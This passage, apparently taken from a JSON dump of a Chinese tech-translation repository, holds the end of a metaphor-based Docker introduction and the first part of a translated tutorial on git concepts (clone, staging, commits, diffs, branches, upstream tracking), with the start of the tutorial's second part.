monster](https://cdn-images-1.medium.com/max/2000/1*t-uVUfbywQsDnwQoYAEbgA.jpeg)\n\nDocker 容器就是 Docker 镜像的活体形态。\n\n### 软件\n\n除了盒子的比喻和活的实例的比喻，你还可以将 Docker 容器看作是**一个软件程序**。毕竟，它在本质上还是一个软件。从根本上来说，容器是一系列能计算比特的指令。\n\n![Containers are code](https://cdn-images-1.medium.com/max/2000/1*0D45gdLlWgvMBu9Xwr0RrA.jpeg)\n\n当 Docker 容器在运行的时候，通常情况下会有程序在它内部运行。程序在容器内执行操作，所以应用程序才能完成某些功能。\n\n例如，你现在正在阅读的网页也许就是 Docker 容器内的代码发送给你的。或者它也许读取了你的声音指令并发送给 Amazon Alexa，你的声音被解码为其他指令，然后其他容器中的程序将会使用它。\n\n使用 Docker，你就可以在一台主机上同时运行多个容器。和其他软件程序一样，Docker 容器可以被运行、检测、停止和删除。\n\n## 概念\n\n### 虚拟机\n\n虚拟机是 Docker 容器的前身。虚拟机也会分离应用和它的依赖。但是，Docker 容器需要的资源更少，更轻也更快，因此它要比虚拟机更加先进。你可以阅读[这篇文章](https://medium.freecodecamp.org/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b)来了解更多它们之间的相似点与不同点。\n\n### Docker 镜像\n\n我在前文中提到了镜像。那么什么是镜像呢？我很高兴你积极的提问了！在 Docker 的语境中，**镜像**这个术语的含义和真正的照片的含义完全不同。\n\n![Images](https://cdn-images-1.medium.com/max/2000/1*Wv9nvbm0XRLSGQ9nqTzpdA.jpeg)\n\nDocker 镜像更像是一个蓝图，饼干模具，或者说是模子。镜像是不会变化的主模版，它用于产生完全一样的多个容器。\n\n![Cookie cutters](https://cdn-images-1.medium.com/max/2000/1*n53WlDyD9mxVcOu17Rj86Q.jpeg)\n\n镜像包含 Dockerfile，库，以及需要运行的应用代码，所有这些绑定在一起组成镜像。\n\n### Dockerfile\n\n[Dockerfile](https://docs.docker.com/engine/reference/builder/) 是一个包含了 Docker 如何构建镜像的指令的文件。\n\nDockerfile 会指向一个可用于构建初始镜像层的基础镜像。使用广泛的官方基础镜像包括 [python](https://hub.docker.com/_/python/)、[ubuntu](https://hub.docker.com/_/ubuntu) 和 [alpine](https://hub.docker.com/_/alpine)。\n\n其他附加层将会根据 Dockerfile 中的指令，添加在基础镜像层的上面。例如，机器学习应用的 Dockerfile 将会通知 Docker 在中间层中添加 NumPy、Pandas 和 Scikit-learn。\n\n最后，一个很薄并且可写的层将会根据 Dockerfile 的代码添加在所有层的上方。（薄的意思其实就是指这一层的体积很小，这一点你明白了对吧 😃？因为你已经很直观的理解了**薄**这个比喻）\n\n我将会在这一系列的其他文章中更加深入的探讨 Dockerfile。\n\n### Docker Container\n\nDocker 镜像加上命令 `docker run image_name` 将会从这个镜像中创建一个容器，并启动它。\n\n### Container 注册处\n\n如果你想让其他人也可以使用你的镜像生成容器，你需要将镜像发送给容器注册处。[Docker Hub](https://hub.docker.com/) 是最大的、也是人们默认的注册处。\n\n唉！太多零碎的内容了。我们把这些都集中在一起，进行一次实践，这就好像做一款披萨一样哦。\n\n## Docker 实践\n\n![Landscape Metaphor](https://cdn-images-1.medium.com/max/2000/1*v6WWacmOsrPYtkGXUu-cbA.jpeg)\n\n* 配方就是 **Dockerfile**。它告诉我们如何操作才能做好这款披萨。\n\n* 材料就是 Docker 的**层**。现在你已经有了披萨的面坯，酱料以及芝士了。\n\n将配方和原料的组合想象为一个一体化的披萨制作工具包。这就是 **Docker 镜像**。\n\n配方（Dockerfile）告诉了我们操作步骤。如下：\n\n* 披萨面坯是不能改的，就好比是基础的 ubuntu 父级镜像。它是**底层**，并且会最先被构建。\n\n* 然后还需要添加一些芝士。披萨的第二层就好比**安装外部库** —— 例如 NumPy。\n\n* 然后你还可以撒上一些罗勒。罗勒就好比你写在**文件里的代码**，用来运行你的应用。。\n\n好了，现在我们开始烹饪吧。\n\n![Oven](https://cdn-images-1.medium.com/max/2000/1*rihuhM7hCvWaJhuw7Hjvzg.jpeg)\n\n* 用来烤披萨的烤箱就好比是 Docker 平台。你将烤箱搬到你的家里，这样就可以用它来烹饪了。相似的，你把 Docker 安装到你的电脑里，这样就可以操作容器。\n\n* 你通过旋转旋钮来让烤箱开始工作。`docker run image_name` 指令就像是你的旋钮 —— 它可以创建并让容器开始工作。\n\n* 做好的披萨就好比是一个 Docker 容器。\n\n* 享用披萨就好比是使用你的应用。\n\n正如做披萨一样，在 Docker 里创建应用也要你付出劳动，但是最终你能得到很棒的成果。享用它吧！\n\n## 尾声\n\n本文的主要内容是概念框架。在[这个系列的第二部分](https://towardsdatascience.com/learn-enough-docker-to-be-useful-1c40ea269fa8)，我将会解释一些在 Docker 生态圈中你可能会见到的术语。记得关注我，这样你就不会错过了。\n\n希望这篇概述能帮助你更好的理解 Docker。我也希望它能够让你知道，比喻这种方式在理解新技术的时候的价值。\n\n如果觉得本文对你有帮助，请转发到你喜欢的社交媒体上，这样其他人也就可以阅读学习了。👏\n\n我也写关于 Python、Docker、数据科学等等很多方面的文章。如果你感兴趣，可以在[这里](https://medium.com/@jeffhale)阅读更多内容，也可以在 Medium 上关注我。😄\n\n![](https://cdn-images-1.medium.com/max/NaN/1*oPkqiu1rrt-hC_lDMK-jQg.png)\n\n感谢你花时间阅读本文！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learn-git-concepts-not-commands-1.md",
    "content": "> * 原文地址：[Learn git concepts, not commands - Part 1](https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc)\n> * 原文作者：[Nico Riedmann](https://dev.to/unseenwizzard)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[Usey95](https://github.com/Usey95)，[ZavierTang](https://github.com/ZavierTang)\n\n# Git：透过命令学概念 —— 第一部分\n\n**用交互式的教程教你 Git 的原理，而非罗列常用命令。**\n\n所以，你想正确地使用 Git 吗？\n\n但你肯定不想仅仅学一些操作命令，你还想要理解其背后的原理，对吧？\n\n那么本文就是为你量身定做的！\n\n让我们快点开动吧！\n\n---\n\n> 本文的落笔点基于 Rachel M. Carmena 撰写的 [**如何教授 Git**](https://rachelcarmena.github.io/2018/12/12/how-to-teach-git.html) 一文中提及的常规概念。\n> \n> 网上有很多重方法轻原理的 Git 教程，但我还是挖掘到了兼得二者的宝贵资源（也是本教程的灵感源泉），那就是 [*git Book*](https://git-scm.com/book/en/v2) 和 [*Reference page*](https://git-scm.com/docs)。\n> \n> 因此，如果你读完了本文还意犹未尽，就快点击上面两个链接一探究竟吧！我真心希望本教程中介绍的概念，能帮你理解另外两篇文章中详解的其他 Git 功能。\n\n---\n\n- [概览](#user-content-概览)\n- [获取远程仓库](#user-content-获取远程仓库)\n- [添加新文件](#user-content-添加新文件)\n- [更改](#user-content-更改)\n- [分支](#user-content-分支)\n\n---\n\n## 概览\n\n下图中有四个盒子。其中一个盒子独占一隅；其他三个盒子并为一组，这三个盒子构成了**开发环境（Development Environment）**。\n\n[![Git 组成](https://res.cloudinary.com/practicaldev/image/fetch/s--jSuilYlA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/components.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--jSuilYlA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/components.png)\n\n先从那个单独的盒子说起。当你更新了工作内容，并想要和其他人共享你更改的内容，或者你想获取到别人更改的内容，那么**远程仓库**（Remote Repository）就是你们用来传送更改内容的地方。如果你已经用过其他的版本控制系统了，那这种流程对你来说一点都不陌生。\n\n相对于**远程仓库**（Remote Repository），**开发环境**（Development Environment）则是你的本地仓库。\n开发环境由三部分组成：**工作目录**（Working Directory）、**暂存区**（Staging Area）和**本地仓库**（Local Repository）。在开始使用 Git 后，我们对这几块区域的理解会逐渐加深。\n\n在电脑中选一个地方作为**开发环境**。\n在根目录或者任意你喜欢之处放置你的项目都可以。只不过不用给**开发环境**特意新建一个文件夹了。\n\n## 获取远程仓库\n\n现在，我们要把一个**远程仓库**的内容抓到电脑本地上。\n\n建议使用本仓库（https://github.com/UnseenWizzard/git_training.git 如果你不是在 GitHub 上阅读本文，就点击此链接来实操）。\n\n> 用 `git clone https://github.com/UnseenWizzard/git_training.git` 命令来实现这一步操作\n> \n> 但若要跟随本教程操作，你会需要把你的更改从**开发环境**回传到**远程仓库**中，而 GitHub 不允许用户随意更改其他用户的仓库，因此你最好创建一个教程仓库的 **fork** 版本以供使用。fork 按钮在 GitHub 仓库页面的右上角。\n\n现在你获取到了笔者的**远程仓库**的副本，接下来就把该副本拉到你的电脑中。\n\n使用 `git clone https://github.com/{YOUR USERNAME}/git_training.git` 命令将远程仓库复制到本地。\n\n如下图所示，该命令将**远程仓库**复制到两个地方：**工作目录**和**本地仓库**。\n\n现在你应该明白了，这就是 Git **分布式**版本控制的原理。**本地仓库**是**远程仓库**的克隆体，毫无二致。唯一的区别就是，这个克隆体是不与其他人共享的。\n\n`git clone` 命令的另一个作用是新建一个文件夹。在你本地会出现一个名为 `git_training` 的文件夹。打开它。\n\n[![克隆远程仓库](https://res.cloudinary.com/practicaldev/image/fetch/s--NCZ2AIG5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/clone.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--NCZ2AIG5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/clone.png)\n\n## 添加新文件\n\n**远程仓库**中已经有一个文件了。该文件名为 `Alice.txt`，在仓库中形单影只。我们来新建一个文件，命名为 `Bob.txt`，与 Alice 作伴。\n\n刚才的操作是向**工作目录**中新增文件。\n\n**工作目录**中有两种文件：**已跟踪**文件 —— 由 Git 看管着的文件，**未跟踪**文件 ——（暂时）没有被 Git 看管的文件。\n\n运行 `git status` 命令可以查看**工作目录**中的版本状态，输出结果会告诉你目前处于哪条分支，**本地仓库**是否与**远程仓库**同步，以及哪些文件分别处于**已跟踪**（tracked）状态和**未跟踪**（untracked）状态。\n\n你会看到，`Bob.txt` 处于未跟踪状态，`git status` 命令甚至会告诉你如何改变文件状态。\n\n如下图所示，当你按照提示执行 `git add Bob.txt` 命令后，`Bob.txt` 文件会被加入到**暂存区**。**暂存区**中收集了所有你希望加入到**仓库**中的更改。\n\n[![把更改添加到暂存区](https://res.cloudinary.com/practicaldev/image/fetch/s--LVFHwLca--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/add.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--LVFHwLca--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/add.png)\n\n当把所有更改（目前只有 Bob.txt）都添加进暂存区，你就可以把更改**提交**（commit）到**本地仓库**了。\n\n你所**提交**的更改是一些有特定含义的工作内容，因此当运行了 `git commit` 后，你需要在自动打开的文本编辑器中写下你的更改说明。保存并关闭文本编辑器后，你的**提交内容**就被添加到**本地仓库**中了。\n\n[![提交到本地仓库](https://res.cloudinary.com/practicaldev/image/fetch/s--we00N_rB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/commit.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--we00N_rB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/commit.png)\n\n`git commit -m \"Add Bob\"` 命令让你能够直接在命令中编辑**提交说明**。但你应该养成书写[规范易读的提交说明](https://chris.beams.io/posts/git-commit/)这种良好习惯，因此不要一蹴而就，还是乖乖用文本编辑器吧。\n\n现在，你做的更改就进入本地仓库了，本地仓库适合存储那些不需要共享或暂时还不能共享的工作内容。\n\n那么为了把提交的更改共享到**远程仓库**，你需要`推送`（push）一下。\n\n[![推送到远程仓库](https://res.cloudinary.com/practicaldev/image/fetch/s--XwP0hGrK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/push.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--XwP0hGrK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/push.png)\n\n运行 `git push` 命令后，更改内容就会被发送到**远程仓库**中。下图展示了`推送`后的仓库状态。\n\n[![推送更改后的仓库状态](https://res.cloudinary.com/practicaldev/image/fetch/s--Gj_DegbP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/after_push.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--Gj_DegbP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/after_push.png)\n\n## 更改\n\n截至目前，我们只是新增了一个文件。而版本控制更有趣的部分就是更改文件。\n\n回过头来看 `Alice.txt` 文件。\n\n`Alice.txt` 文件里有一些文字，而 `Bob.txt` 文件里并没有，那我们就给 `Bob.txt` 添加上 `Hi!! I'm Bob. I'm new here.` 这句话。\n\n如果你现在再运行 `git status` 命令，你会看到 `Bob.txt` 的状态变成了**已修改**（modified）。\n\n在此状态下，此处更改仅存在于**工作目录**中。\n\n若想查看**工作目录**中具体的更改细节，你可以运行 `git diff` 命令，输出结果如下：\n\n```\ndiff --git a/Bob.txt b/Bob.txt\nindex e69de29..3ed0e1b 100644\n--- a/Bob.txt\n+++ b/Bob.txt\n@@ -0,0 +1 @@\n+Hi!! I'm Bob. I'm new here.\n```\n\n照旧运行 `git add Bob.txt` 命令。显然，新的更改进入了**暂存区**。\n\n想查看刚刚标记为`暂存`（staged）状态的更改的话，试试再运行一次 `git diff` 命令！你会发现这一次输出结果是空的。这是因为 `git diff` 命令只在**工作目录**中有效。\n\n那么要想看到已经处于`暂存`状态的更改的内容，我们需要运行 `git diff --staged` 命令，这样才能看到上次那样的输出结果。\n\n哎呀呀，我才发现我刚刚在『Hi』后面多加了一个感叹号。这样可不行，得再一次改动 `Bob.txt` 文件，保留一个感叹号就行了。\n\n删掉多余的感叹号后，再运行 `git status` 命令，可以看到有两处更改，一处是**暂存**状态的添文字添加，另一处时是在工作目录中对感叹号的删除。\n\n我们用 `git diff` 命令比较一下**工作目录**和**暂存区**中的更改，看看自从上次标记**暂存**后发生了什么变化。\n\n```\ndiff --git a/Bob.txt b/Bob.txt\nindex 8eb57c4..3ed0e1b 100644\n--- a/Bob.txt\n+++ b/Bob.txt\n@@ -1 +1 @@\n-Hi!! I'm Bob. I'm new here.\n+Hi! I'm Bob. I'm new here.\n```\n\n发生的更改正如我们所愿，接着用 `git add Bob.txt` 命令`暂存`文件当前的状态。。\n\n现在我们可以提交刚才的更改了。这次咱们使用 `git commit -m \"Add text to Bob\"` 命令，因为只是做了小小的改动，写一行说明足矣。\n\n我们知道，现在那些更改已经进入**本地仓库**了。\n\n我们可能会想知道刚刚提交了什么更改，想知道更改前后有什么不同。\n\n我们可以通过『比较提交』得到答案。\n\n在 Git 中，每次提交操作都对应一个唯一的哈希值，我们可以用某个哈希值来引用对应的提交。\n\n如果用 `git log` 命令查看一下日志，我们不单会看到一系列带**哈希值**、**作者**和**日期**的提交操作，还会看到**本地仓库**的状态和关于**远程分支**的最新本地信息。\n\n此刻 `git log` 命令的运行结果大概如下：\n\n```\ncommit 87a4ad48d55e5280aa608cd79e8bce5e13f318dc (HEAD -> master)\nAuthor: {YOU} <{YOUR EMAIL}>\nDate:   Sun Jan 27 14:02:48 2019 +0100\n\n    Add text to Bob\n\ncommit 8af2ff2a8f7c51e2e52402ecb7332aec39ed540e (origin/master, origin/HEAD)\nAuthor: {YOU} <{YOUR EMAIL}>\nDate:   Sun Jan 27 13:35:41 2019 +0100\n\n    Add Bob\n\ncommit 71a6a9b299b21e68f9b0c61247379432a0b6007c \nAuthor: UnseenWizzard <nicola.riedmann@live.de>\nDate:   Fri Jan 25 20:06:57 2019 +0100\n\n    Add Alice\n\ncommit ddb869a0c154f6798f0caae567074aecdfa58c46\nAuthor: Nico Riedmann <UnseenWizzard@users.noreply.github.com>\nDate:   Fri Jan 25 19:25:23 2019 +0100\n\n    Add Tutorial Text\n\n      Changes to the tutorial are all squashed into this commit on master, to keep the log free of clutter that distracts from the tutorial\n\n      See the tutorial_wip branch for the actual commit history\n```\n\n在日志中，我们能发现几处有意思的细节：\n\n* 前两个提交的操作人是自己。\n* 最开始添加 `Bob.txt` 文件的提交是**远程仓库**中 **master** 分支的 **HEAD**。等说到分支和拉取远程更改的部分时，我们再展开探讨这个『HEAD』。\n* **本地仓库**中最新的提交就是我们刚刚做的更改，而此刻我们知道了其哈希值是什么。\n\n> 注意，你实际操作的提交的哈希值跟文中的例子是不一样的。如果你好奇 Git 是如何生成那些修改 ID 的，可以看看[这篇有趣的文章](https://blog.thoughtram.io/git/2014/11/18/the-anatomy-of-a-git-commit.html)。\n\n我们可以通过 `git diff <commit>^!` 命令来比较这先后两次提交，命令中的 `^!` 告诉 Git 要比较的是指定哈希值的提交和它上一次的提交。那么我这里就是运行 `git diff 87a4ad48d55e5280aa608cd79e8bce5e13f318dc^!` 这样的命令。\n\n我们还能用 `git diff 8af2ff2a8f7c51e2e52402ecb7332aec39ed540e 87a4ad48d55e5280aa608cd79e8bce5e13f318dc` 这样的命令来比较任意两次提交，同样会输出比较信息。注意，该命令的格式是 `git diff <from commit> <to commit>`，也就是说对于较新的提交，其哈希值要放在第二位。\n\n下图再次呈现了一个更改的不同阶段，以及每个阶段用的不同的 `diff` 命令。\n\n[![一个更改的不同阶段以及相关的 diff 命令](https://res.cloudinary.com/practicaldev/image/fetch/s--hZ540Uzu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/diffs.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--hZ540Uzu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/diffs.png)\n\n现在我们可以确信提交的更改正是我们想要的，可以放心大胆地运行 `git push` 命令了。\n\n## 分支\n\nGit 的另一个伟大之处就是分支。分支是你使用 Git 时不可或缺的部分，借助分支来工作非常便利。\n\n其实，从一开始我们就已经在使用分支了。\n\n在克隆**远程仓库**时，**开发环境**会自动选中仓库的主分支（**master** 分支）复制。\n\n通常的 Git 工作流都是先在一个**分支**上做更改，再将其`合并`（merge）回 **master** 分支。\n\n一般情况下，你都是先在自己的**分支**上动工，等到完成现阶段的工作，并确信能够合并的时候，再合并到 **master** 分支。\n\n> 一些 Git 仓库托管平台（如 **GitLab**、**GitHub** 等）也提供保护分支的功能，意思是并非所有人都能把更改推送到受保护的分支。在这些托管平台中，**master** 分支一般都是默认受保护的。\n\n别担心，当我们需要用到这些托管平台的时候，自会深入研究其细节。\n\n眼下，我们得创建一条分支，在该分支上做一些更改。有时候你只是想要尝试自己做些东西，不想污染 **master** 分支的工作状态；有时候你没有推送更改到 **master** 分支的权限。此时，一条新的分支正是你所需要的。\n\n**本地仓库**和**远程仓库**中都允许有多条分支。每个新建的分支，都是你当前所在分支中已经提交的内容的副本。\n\n来动手改一改 `Alice.txt` 文件吧！在第二行增加一些文字怎么样？\n\n我们想共享要做的更改，但不想立马就并入 **master** 分支，因此得先用 `git branch <branch name>` 命令新建一条分支。\n\n具体来说就是用 `git branch change_alice` 命令创建一个名为 `change_alice` 的分支。\n\n这一步操作给**本地仓库**新增了一条分支。\n\n而**工作目录**和**暂存区**其实并不会和多条分支联动，你提交的更改总是会进入到当前分支。\n\n你可以把 Git 中的**分支**想象成指针，一根指向一系列提交内容的指针。每当你进行提交操作时，当前指针指向哪里，更改的内容就提交到哪里。\n\n单纯新建一条分支，并不能直接连到仓库，那只是竖起了一根指针而已。\n\n其实，**本地仓库**当前的状态，可以视为另一根指针，其名为 **HEAD**，它指向的是你当前的分支和当前的提交内容。\n\n可能文字描述有点复杂，下面的示意图可以帮你理清这些头绪：\n\n[![创建分支后的状态](https://res.cloudinary.com/practicaldev/image/fetch/s--Ss_shD7h--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/add_branch.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--Ss_shD7h--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/add_branch.png)\n\n使用 `git checkout change_alice` 命令可以切换到新分支。本操作实质上是把 **HEAD** 移到了你所指定的分支上了。\n\n> 通常我们都是创建分支后切换到该分支上，因此可以用带有 `-b` 选项的 `checkout` 命令，一气呵成地新建完切换过去，不用分两步走了，毕竟牛仔很忙的。\n> \n> 落实到具体操作就是运行 `git checkout -b change_alice` 命令，实现了创建并切换到 `change_alice` 分支。\n\n[![切换分支后的状态](https://res.cloudinary.com/practicaldev/image/fetch/s--9Kp5zCqP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/checkout_branch.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--9Kp5zCqP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/checkout_branch.png)\n\n可能你已经注意到了，**工作目录**并没有什么变化。那是因为对 `Alice.txt` 文件的**修改**还没有关联到当前分支上。\n\n现在你可以像在 **master** 分支上那样，执行 `add` 和 `commit` 命令，把更改标记为**暂存**（在这个节点，更改内容和分支仍然没有相互关联）并**提交**到 `change_alice` 分支上。\n\n现在只剩一步没迈出去了。你可以试试运行 `git push` 命令，把更改推送到**远程仓库**。\n\n你会看到如下报错信息和一条（Git 一如既往地提供的）解决建议：\n\n```\nfatal: The current branch change_alice has no upstream branch.（严重错误：没有上游分支对应当前的 change_alice 分支。）\nTo push the current branch and set the remote as upstream, use（若想推送当前分支并设置远程仓库为上游分支，请使用）\n\n    git push --set-upstream origin change_alice\n```\n\n咱们可不是随意盲从的人，对吧。咱们得弄明白到底发生了什么。所以何为**上游分支（upstream branch）**？何为**远程分支（remote）**？\n\n还记得之前我们用 `clone` 命令复制了**远程仓库**吧？那时候，**远程仓库**不只是包含本篇文章和 `Alice.txt` 文件，实际上是有两条分支在其中。\n\n一条是 **master** 分支，我们开始动工并一路推进的分支；另一条是 **tutorial_wip** 分支，我把本教程中所有的更改都提交到这条分支上了。\n\n当我们把**远程仓库**的内容复制到**开发环境**中时，一些额外操作潜移默化地发生了。\n\nGit 把**本地仓库**的**远程分支**设置为你所克隆的**远程仓库**，并赋予其一个默认名称 `origin`。\n\n> **本地仓库**可以追踪多个不同名称的**远程分支**，但本教程中，我们将紧盯住 `origin` 而不考虑其他分支。\n\n而后，Git 复制了两条远程分支到**本地仓库**中，并最终切换到了 **master** 分支。\n\n同时，另一个操作暗搓搓地启动了。当`签出`（checkout）一条分支，且此分支的名称与远程分支匹配时，你会得到一条新的**本地**分支，本地和远程的分支相互关联。那么我们说，这条**远程分支**就是**本地分支**的**上游分支**（upstream branch）。\n\n在上文中的那些示意图中，你只能看到一条本地分支。而使用 `git branch` 命令则能查看一系列本地分支。\n\n假如你想看到**本地仓库**中关联的**远程分支**，可以使用 `git branch -a` 命令列出它们。\n\n[![远程分支和本地分支](https://res.cloudinary.com/practicaldev/image/fetch/s--6K-Zm5cn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/branches.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--6K-Zm5cn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/UnseenWizzard/git_training/master/img/branches.png)\n\n明白了这些，我们就可以踏踏实实地遵照建议运行 `git push --set-upstream origin change_alice` 命令了，这样就把本地分支中的更改推送到了一条新的**远程分支**中。命令生效后，**远程仓库**中会创建一条名为 `change_alice` 的分支，并且**本地**的 `change_alice` 分支会追踪远程的新分支。\n\n> 另外有一种操作，适用于想用本地分支追踪**远程仓库**中已有的内容这种需求。想象这样的场景：一位同事已经推送了一些更改，而这些更改与你本地分支的工作内容有依赖关系，那就需要将二者整合到一起。于是就要用到 `git branch --set-upstream-to=origin/change_alice` 这条命令，把 `change_alice` 分支的**上游分支**设为新的**远程分支**，以便于追踪同事的更改。\n\n操作完成后，到 GitHub 上的**远程仓库**中看看，你的分支已经创建就绪，可以被其他人看到并协同工作。\n\n很快我们将谈到如何把别人的更改拉到自己的**开发环境**中，但目前我们还是使用分支来介绍更多的概念，这些概念会在我们把**远程仓库**向本地更新时粉墨登场。\n\n欢迎继续阅读本系列其他文章：\n\n- [Learn git concepts, not commands - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md)\n- [Learn git concepts, not commands - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md)\n- [Learn git concepts, not commands - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-3.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learn-git-concepts-not-commands-2.md",
    "content": "> * 原文地址：[Learn git concepts, not commands](https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc)\n> * 原文作者：[Nico Riedmann](https://dev.to/unseenwizzard)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-2.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[shixi-li](https://github.com/shixi-li)，[Moonliujk](https://github.com/Moonliujk)\n\n# Git：透过命令学概念 —— 第二部分\n\n**用交互式的教程教你 Git 的原理，而非罗列常用命令。**\n\n所以，你想正确地使用 Git 吗？\n\n但你肯定不想仅仅学一些操作命令，你还想要理解其背后的原理，对吧？\n\n那么本文就是为你量身定做的！\n\n让我们快点开动吧！\n\n---\n\n> 本文的落笔点基于 Rachel M. Carmena 撰写的 [**如何教授 Git**](https://rachelcarmena.github.io/2018/12/12/how-to-teach-git.html) 一文中提及的常规概念。\n>\n> 网上有很多重方法轻原理的 Git 教程，但我还是挖掘到了兼得二者的宝贵资源（也是本教程的灵感源泉），那就是 [*git Book*](https://git-scm.com/book/en/v2) 和 [*Reference page*](https://git-scm.com/docs)。\n>\n> 因此，如果你读完了本文还意犹未尽，就快点击上面两个链接一探究竟吧！我真心希望本教程中介绍的概念，能帮你理解另外两篇文章中详解的其他 Git 功能\n\n建议按照顺序阅读本系列文章：\n\n- [Git：透过命令学概念 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learn-git-concepts-not-commands-1.md)\n- [Git：透过命令学概念 —— 